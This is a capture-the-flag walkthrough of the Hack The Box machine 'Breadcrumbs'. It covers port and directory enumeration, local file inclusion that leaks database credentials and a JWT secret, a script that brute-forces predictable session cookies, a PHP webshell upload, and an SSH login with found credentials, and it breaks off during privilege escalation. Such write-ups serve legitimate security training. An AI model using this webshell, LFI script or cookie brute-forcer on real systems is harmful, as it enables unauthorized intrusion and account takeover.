# Breadcrums

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FpG2lu3uwQTq4akFF6JfC%2Fbreadcrumbs.png?alt=media&#x26;token=34b8be2e-0885-453f-aee4-842a1af08a80" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.228 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Wed Sep  7 16:10:46 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.228
Nmap scan report for 10.10.10.228
Host is up (0.057s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

# Nmap done at Wed Sep  7 16:11:01 2022 -- 1 IP address (1 host up) scanned in 15.11 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 10.10.10.228 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Wed Sep  7 16:12:34 2022 as: nmap -sCV -p22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 -oN targeted 10.10.10.228
Nmap scan report for 10.10.10.228
Host is up (0.050s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Library
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Library
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-09-07T14:15:23
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  7 16:15:35 2022 -- 1 IP address (1 host up) scanned in 181.10 seconds
```

{% endcode %}

It looks like there is a website on port *80*.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F1J9gCEQfAJDBI8Gxq1nE%2Fimage.png?alt=media&#x26;token=8c3518a1-1635-4b3f-886d-011cc86b6b64" alt=""><figcaption></figcaption></figure>

If we click on the `Check books.` button, we'll see what looks like a books search tool

> <http://10.10.10.228/php/books.php>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F9zmDi83bzONSkZ4wONzI%2Fimage.png?alt=media&#x26;token=da9f448c-2b02-4d3e-8ff8-f7cc36672466" alt=""><figcaption></figcaption></figure>

If search for a random character, like the `s` letter, it will show us books with the `s` character in the title.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fqy6yxrjodqTfC3ZRNZeM%2Fimage.png?alt=media&#x26;token=76bea60a-181b-41e2-8a4a-1e3a4a0d7c35" alt=""><figcaption></figcaption></figure>

The `Book` button will show some details about the book.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F5VmPLf0u0ubWci5jK7Pe%2Fimage.png?alt=media&#x26;token=ec0f5f92-67d8-42d8-aa0b-29a54b364bd1" alt=""><figcaption></figcaption></figure>

Let's try to list some subdirectories with *wfuzz*.

> wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt <http://10.10.10.228/FUZZ>

* `-c` output with **colors**.
* `--hc` hide responses with the specified **code**.
* `-t` specify the number of **concurrent connections**.
* `-w` specify a **wordlist** file.

```python
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.228/FUZZ
Total requests: 87650

=====================================================================
ID           Response   Lines    Word       Chars       Payload    
=====================================================================

000000121:   301        9 L      30 W       336 Ch      "books"
000000325:   301        9 L      30 W       334 Ch      "php" 
000000355:   301        9 L      30 W       337 Ch      "portal" 
000000535:   301        9 L      30 W       334 Ch      "css"
000000623:   301        9 L      30 W       339 Ch      "includes"
000000838:   301        9 L      30 W       333 Ch      "db"
000000940:   301        9 L      30 W       333 Ch      "js"
000001021:   301        9 L      30 W       336 Ch      "Books"
000000888:   503        11 L     44 W       401 Ch      "examples"
000001818:   403        11 L     47 W       420 Ch      "licenses"
000003297:   301        9 L      30 W       334 Ch      "PHP"
000003798:   403        9 L      30 W       301 Ch      "%20"
000005133:   301        9 L      30 W       337 Ch      "Portal"
000007067:   403        9 L      30 W       301 Ch      "*checkout*"
000008142:   301        9 L      30 W       334 Ch      "CSS" 
000009285:   301        9 L      30 W       333 Ch      "JS" 
000011188:   403        9 L      30 W       301 Ch      "phpmyadmin"
000014388:   403        9 L      30 W       301 Ch      "webalizer"
```

The `/books` directory has several `.html` files with the content of the books that the search tool is loading.

> <http://10.10.10.228/books/>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FJhwfDehsVzWRArUSBLf8%2Fimage.png?alt=media&#x26;token=76c924f3-9b81-4207-b8a5-65b94ff6ae9c" alt=""><figcaption></figcaption></figure>

Then `/portal` directory show a login page.

> <http://10.10.10.228/portal/login.php>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FfWdYQpOFRc7m6dKSAGec%2Fimage.png?alt=media&#x26;token=6ed7e58a-a249-4f2b-9276-d64c22f14af7" alt=""><figcaption></figcaption></figure>

Then `/includes` directory show a few `.php` files.

> <http://10.10.10.228/includes/>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F0c4u3sbKNQTv7Bm5Pdae%2Fimage.png?alt=media&#x26;token=a128d7e9-8246-45bd-864a-c2d547726af0" alt=""><figcaption></figcaption></figure>

And the `/db` directory has a `db.php` file. Everything else has nothing interesting in it, or we are not allowd to see it.

> <http://10.10.10.228/db/>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FA3wQAtzDcb74DXugnLM6%2Fimage.png?alt=media&#x26;token=d55ae25f-e3fe-4e83-afcb-04ca733f5043" alt=""><figcaption></figcaption></figure>

Let's create an account on the login page we saw on `/portal`.

> <http://10.10.10.228/portal/signup.php>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FXeysvN5PZLeXIsXxb1rf%2Fimage.png?alt=media&#x26;token=eaf29a58-9380-4985-a34c-caaf38b0026b" alt=""><figcaption></figcaption></figure>

Then, log in as the new user.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Ft1yNXU048Z7F7yVGWRs9%2Fimage.png?alt=media&#x26;token=22bf25c6-fd57-4646-8344-2a9d6b392f0d" alt=""><figcaption></figcaption></figure>

Now, we see a page with different sections.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FAScZEydPMHTDuF52hOeg%2Fimage.png?alt=media&#x26;token=2e65b4f8-6f4a-4ecc-a55a-75de4f961140" alt=""><figcaption></figcaption></figure>

Then `Check tasks` section shows some tasks. One of them is saying that the *PHPSESSID* cookie has infinite session duration.

> <http://10.10.10.228/portal/php/issues.php>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FANqXnoJTIAISg2wemXtc%2Fimage.png?alt=media&#x26;token=9580e465-a495-47e5-bd21-56fc4ff842ca" alt=""><figcaption></figcaption></figure>

The `Order pizza` button shows a popup alert.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fd7IWZ6kqAqiWvpN0M71q%2Fimage.png?alt=media&#x26;token=76f2eb37-2c0c-44c0-bd5b-49692598b73c" alt=""><figcaption></figcaption></figure>

The `User management` section shows a list of users with their respective role.

> <http://10.10.10.228/portal/>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FAUEVCaszuqVWt2ZGOIxo%2Fimage.png?alt=media&#x26;token=22af22f6-a3d3-49e3-bff1-464a4680adf5" alt=""><figcaption></figcaption></figure>

And finally, the `File management` button just do a redirect to the current page. We could try to enumerate subdirectories again, but this time under the `/portal` directory.

> wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt <http://10.10.10.228/portal/FUZZ>

* `-c` output with **colors**.
* `--hc` hide responses with the specified **code**.
* `-t` specify the number of **concurrent connections**.
* `-w` specify a **wordlist** file.

```python
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.228/portal/FUZZ
Total requests: 87650

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000150:   301        9 L      30 W       345 Ch      "uploads"
000000278:   301        9 L      30 W       344 Ch      "assets"
000000325:   301        9 L      30 W       341 Ch      "php"
000000623:   301        9 L      30 W       346 Ch      "includes"
000000838:   301        9 L      30 W       340 Ch      "db"
000001466:   301        9 L      30 W       344 Ch      "vendor"
000004744:   301        9 L      30 W       344 Ch      "Assets"
```

## Exploitation

If we click on the File management button, I will do a redirect to the current `index.php` file as we saw. Let's try to bypass it. First, intercept the request with *BurpSuite*. Then, press right click, and press on `Do intercept > Response to this request`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fy2H1IuXGG5gufGQOs88X%2Fimage.png?alt=media&#x26;token=1efbb4ee-097c-4055-968f-b0602dcaaa4a" alt=""><figcaption></figcaption></figure>

If we hit `Forward`, we'll get the response from the server, and as you can see, the code is a `302 Found`. We could try to change it to `200 OK`, so the redirect doesn't happen.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FxiyvUaRWIxUj2u3DutUN%2Fimage.png?alt=media&#x26;token=ac912f7d-ed71-4e46-b44c-98b386f69a58" alt=""><figcaption></figcaption></figure>

Press `Forward` again, and you'll see the *Task Submission* page on the browser.

> <http://10.10.10.228/portal/php/files.php>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fd1CBfWMoEfccyD3NwSB6%2Fimage.png?alt=media&#x26;token=226e5111-4cfe-4782-9ba2-20681f936b86" alt=""><figcaption></figcaption></figure>

Let's create a simple webshell in PHP, and upload it.

> nano webshell.php

```php
<?php echo shell_exec($_REQUEST["cmd"]); ?>
```

If we try to upload it, it will say that only admins can upload files. We'll have to become one of the admins users, either `alex`, `paul` or `jack`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FxBCsbhaILScRwVFqJa3G%2Fimage.png?alt=media&#x26;token=3645b4c7-2ecc-4b0e-afc4-f00ca89b024c" alt=""><figcaption></figcaption></figure>

Let's go back to the `/php/books.php` file, which took the book's data from the `/books` *HTML* files.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FtHtWEsnr69h2TK8foyV2%2Fimage.png?alt=media&#x26;token=32ad7934-619a-43f6-99c7-bd40607b71ab" alt=""><figcaption></figcaption></figure>

Let's intercept the request when we hit `Book`, and send it to the repeater.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FUkxff4xIiCOe3okw7BC0%2Fimage.png?alt=media&#x26;token=c729b9ad-bd28-480e-8901-a093a8b8c904" alt=""><figcaption></figcaption></figure>

If we put some wrong data in the `book` parameter, we'll get an error showing an absolute path. The error show how the website is trying to look for a book in the `../books` directory.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F3qG7yMYWwyWQ8gLyp0JR%2Fimage.png?alt=media&#x26;token=0936925a-9b52-428f-9f65-309f52b4b943" alt=""><figcaption></figcaption></figure>

Let's try to put the `bookController.php` file the error is showing in the `book` parameter with the directory path traversal pattern.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FX2s9v5CvyzxcUQc8gtpH%2Fimage.png?alt=media&#x26;token=a2afb9ce-61a0-493a-a896-ff6c36a4ebbb" alt=""><figcaption></figcaption></figure>

It looks like we did a Local File Inclusion attack, which allow us to read the content of the PHP files. I made a simple bash script which prints out in a nice way the content of the file that you give it.

{% code overflow="wrap" %}

```bash
#!/bin/bash
curl -s -X POST http://10.10.10.228/includes/bookController.php -d "book=$1&method=1" | sed 's/\\n/\n/g' | sed 's/\\r//g' | sed 's/\\"/\"/g' | sed 's/\\\//\//g'
```

{% endcode %}

If we execute the script giving the `../includes/bookController.php` file as an argument, we'll see that the file is requiring the file `../db/db.php`.

> ./lfi.sh ../includes/bookController.php

```php
<?php

if($_SERVER['REQUEST_METHOD'] == "POST"){
    $out = "";
    require '../db/db.php';

    $title = "";
    $author = "";

    if($_POST['method'] == 0){
        if($_POST['title'] != ""){
            $title = "%".$_POST['title']."%";
        }
        if($_POST['author'] != ""){
            $author = "%".$_POST['author']."%";
        }
        
    
        $query = "SELECT * FROM books WHERE title LIKE ? OR author LIKE ?";
        $stmt = $con->prepare($query);
        $stmt->bind_param('ss', $title, $author);
        $stmt->execute();
        $res = $stmt->get_result();
        $out = mysqli_fetch_all($res,MYSQLI_ASSOC);
    }

    elseif($_POST['method'] == 1){
        $out = file_get_contents('../books/'.$_POST['book']);
    }

    else{
        $out = false;
    }

    echo json_encode($out);
}
```

Let's see the content of `../db/db.php`.

{% code overflow="wrap" %}

```php
<?php

$host="localhost";
$port=3306;
$user="bread";
$password="jUli901";
$dbname="bread";

$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
?>
```

{% endcode %}

We found some credentials. As we have to become one of the admin users, we have to get their cookies. I have two cookies, a *JWT (Jason Web Token)* cookie and a *PHPSESSID* cookie.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F0qeQeQWRz9Z5UK9AQhJL%2Fimage.png?alt=media&#x26;token=a3fc7f6a-2552-4a9b-8709-9d1a689ca660" alt=""><figcaption></figcaption></figure>

Note that the *PHPSESSID* cookie starts with my username. If we check the /portal/php/admins.php page, we'll see that `paul` is the only admin which is online, which means that he might be a great target to steal his cookies.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FWm0mYMKLWAoyzDCUsU3u%2Fimage.png?alt=media&#x26;token=e3297b4e-de82-4791-8981-ab6073831fdf" alt=""><figcaption></figcaption></figure>

&#x20;The first time we logged in, we did it with the `/portal/login.php` file. Let's try to see it's content.

> ./lfi.sh ../portal/login.php

{% code overflow="wrap" %}

```php
<?php
require_once 'authController.php'; 
?>
...
```

{% endcode %}

As we can see at the top, it is requiring the `authController.php` file. Let's take a look at it.

> ./lfi.sh ../portal/authController.php

{% code overflow="wrap" %}

```php
<?php 
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \\Firebase\\JWT\\JWT;
...
        if($valid){
            session_id(makesession($username));
            session_start();

            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
            $data = array();

            $payload = array(
                "data" => array(
                    "username" => $username
            ));

            $jwt = JWT::encode($payload, $secret_key, 'HS256');
...
```

{% endcode %}

We found the secret key that is being used to encrypt the JWT. Now we could get the JWT of `paul`. Go to [jwt.io](http://jwt.io/), copy and paste our own JWT, replace our username with `paul`, and add the secret key we just found to the `VERIFY SIGNATURE` section.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FYndGPwfn0QwvoPiveJp4%2Fimage.png?alt=media&#x26;token=ded7f4b8-fce9-4b58-bb89-96904cfe18d1" alt=""><figcaption></figcaption></figure>

Now we need the *PHPSESSID* of the `paul` user. Note again how the `authController.php` file is requiring the `cookie.php` file. Let's see it's content.

> ./lfi.sh ../portal/cookie.php

```php
<?php
/**
 * @param string $username  Username requesting session cookie
 * 
 * @return string $session_cookie Returns the generated cookie
 * 
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * */
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}
```

The cookie is just a MD5 hash of a specific string with a character in between, which any character of the username. It looks like we can brute force the cookie. I made the following script, which will add each letter of `paul` to the string, then it will calculate the MD5 hash, and finally, it will check if the cookie is correct.

```python
import hashlib, requests

for char in "paul":
    hash_user = hashlib.md5(f"s4lTy_stR1nG_{char}(!528./9890".encode('utf-8')).hexdigest()
    cookie = f"paul{hash_user}"
    resp = requests.get("http://10.10.10.228/portal/index.php", cookies={"PHPSESSID": str(cookie)})
    if "paul" in resp.text.lower():
        print(f"\r[+] Found cookie for paul: {cookie}")
```

If we execute the script, we'll get the *PHPSESSID* cookie of the `paul` user.

> python cookie.py

```
[+] Found cookie for paul: paul47200b180ccd6835d25d034eeb6e6390
```

Replace the *PHPSESSID* cookie and the *JWT* cookies of the `paul` user on the browser.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FaUpKJ0de8PkmqnfBsdB0%2Fimage.png?alt=media&#x26;token=5c89c69e-8ba9-4f36-b1c7-eb142b43cf33" alt=""><figcaption></figcaption></figure>

If now we refresh the website, we'll see that we are logged in as `paul`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FDBC0CarXOESL9KmU66mG%2Fimage.png?alt=media&#x26;token=f576a803-76f1-4534-9995-38a8652ac5bb" alt=""><figcaption></figcaption></figure>

Now we can upload the webshell successfully.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fp14OvdaduAUiI40xNrUJ%2Fimage.png?alt=media&#x26;token=1e57c3f7-3e76-467e-bd41-c7ead9278c03" alt=""><figcaption></figcaption></figure>

As we saw when we fuzz subdirectories on `/portal`, there was a `/uploads` directory, let's check it.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F1h9f679wqeoXtcfH01Wr%2Fimage.png?alt=media&#x26;token=556f0547-dfb2-499f-bb8c-baa445c105e1" alt=""><figcaption></figcaption></figure>

There is our webshell. The problem is that it has the `.zip` extension. Let's upload it again, but now intercept the request with *BurpSuite*.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FIOEWYL0brlV3TzbpZ01o%2Fimage.png?alt=media&#x26;token=a3b0b9b4-7c36-49a4-a997-2eaf5b2a9605" alt=""><figcaption></figcaption></figure>

The name of the task change, and the script put the `.zip` extension automatically. Let's modify it, and call it `webshell.php`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FRN8UfAKO7hWK7D9OX5BL%2Fimage.png?alt=media&#x26;token=77229f1e-8a52-4bf1-95aa-ae13af119692" alt=""><figcaption></figcaption></figure>

If we check now the `/uploads` directory, we'll see our webshell with the correct extension.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fo3gK2hDmiopEOLwsZhln%2Fimage.png?alt=media&#x26;token=f74f96f7-ec38-4c87-a828-33d6d35d121f" alt=""><figcaption></figcaption></figure>

Finally, we can execute commands on the victim machine.

> <http://10.10.10.228/portal/uploads/webshell.php?cmd=whoami>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FNymgISLoNeoBZcVVLdsV%2Fimage.png?alt=media&#x26;token=8a02fe69-6624-4983-88d0-c7bfa029f2f7" alt=""><figcaption></figcaption></figure>

If we check the content of the current directory, we'll see the two files that we uploaded, and an the absolute path where we are executing the commands.

> <http://10.10.10.228/portal/uploads/webshell.php?cmd=dir>

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FHQV0i39Uhgy2rEas30Ew%2Fimage.png?alt=media&#x26;token=f92f2d59-31f3-4ff0-8972-43932ec65081" alt=""><figcaption></figcaption></figure>

Let's see what's in a directory further back.

> <http://10.10.10.228/portal/uploads/webshell.php?cmd=dir> C:\Users\www-data\Desktop\xampp\htdocs\portal\\

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FTovfDFweceyYiBzSqtLD%2Fimage.png?alt=media&#x26;token=04d36414-1c9a-4dca-bbdc-4e1b63e519c3" alt=""><figcaption></figcaption></figure>

The `pizzaDeliveryUserData` folder looks interesting.

> <http://10.10.10.228/portal/uploads/webshell.php?cmd=dir> C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FEeMKJpd1LBo8oa1xJ4RI%2Fimage.png?alt=media&#x26;token=e0437a68-2cc1-4fc1-8bb8-3d1afa146482" alt=""><figcaption></figcaption></figure>

The *juliette* user is the only one that looks like is not disable. If we check the content of `juliette.json` file, we'll see some credentials.

> <http://10.10.10.228/portal/uploads/webshell.php?cmd=type> C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\juliette.json

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FawRnLW9BhtN4C1S9Lhqy%2Fimage.png?alt=media&#x26;token=cb5e59a7-7840-444e-98fc-d10f6d513792" alt=""><figcaption></figcaption></figure>

Now we can log in into the machine as the juliette user. Then, we'll be able to grab the user flag.

> sshpass -p 'jUli901./())!' ssh juliette\@10.10.10.228

```
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
                                                    
juliette@BREADCRUMBS C:\Users\juliette>whoami       
breadcrumbs\juliette

juliette@BREADCRUMBS C:\Users\juliette>type Desktop\user.txt
65af66921d5d45bad99bd8f8c0bf08ba
```

## Privilege Escalation

If we check the desktop of the `juliette` user, we'll see the user flag, and the `todo.html` file.

> dir \Users\juliette\Desktop

```
 Volume in drive C has no label.                  
 Volume Serial Number is 7C07-CD3A                
                                                  
 Directory of C:\Users\juliette\Desktop           
                                                  
01/15/2021  05:04 PM    <DIR>          .          
01/15/2021  05:04 PM    <DIR>          ..         
12/09/2020  07:27 AM               753 todo.html  
09/08/2022  12:41 PM                34 user.txt   
               2 File(s)            787 bytes     
               2 Dir(s)   5,515,169,792 bytes free
```

The *HTML* file just shows a table with pending tasks. One of them is saying that there might be some passwords in the *Microsoft Store Sticky Notes* application.

> type \Users\juliette\Desktop\todo.html

```html
<html>                   
<style>                  
html{                    
background:black;        
color:orange;            
}                        
table,th,td{             
border:1px solid orange; 
padding:1em;             
border-collapse:collapse;
}
</style>
<table>
        <tr>
            <th>Task</th>
            <th>Status</th>
            <th>Reason</th>
        </tr>
        <tr>
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
        </tr>
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>

</html>
```

I look for the path where the Sticky Notes program is stored, and I found the `C:\Users\username\AppData\Roaming\Microsoft\Sticky Notes` path. But, in the machine, the *Sticky Notes* directory doesn't exist.

> dir \Users\juliette\AppData\Roaming\Microsoft

```
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\juliette\AppData\Roaming\Microsoft

01/15/2021  05:00 PM    <DIR>          Internet Explorer
01/15/2021  05:00 PM    <DIR>          Network
03/02/2021  02:31 PM    <DIR>          Spelling
01/15/2021  04:59 PM    <DIR>          Vault
02/01/2021  04:58 AM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)   5,515,116,544 bytes free
```

I look for other paths where the program files could be stored, and I found the `C:\Users\Username\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState` backup path, which do exists on the machine.

> dir \Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes\_8wekyb3d8bbw e\LocalState

```
 Volume in drive C has no label.
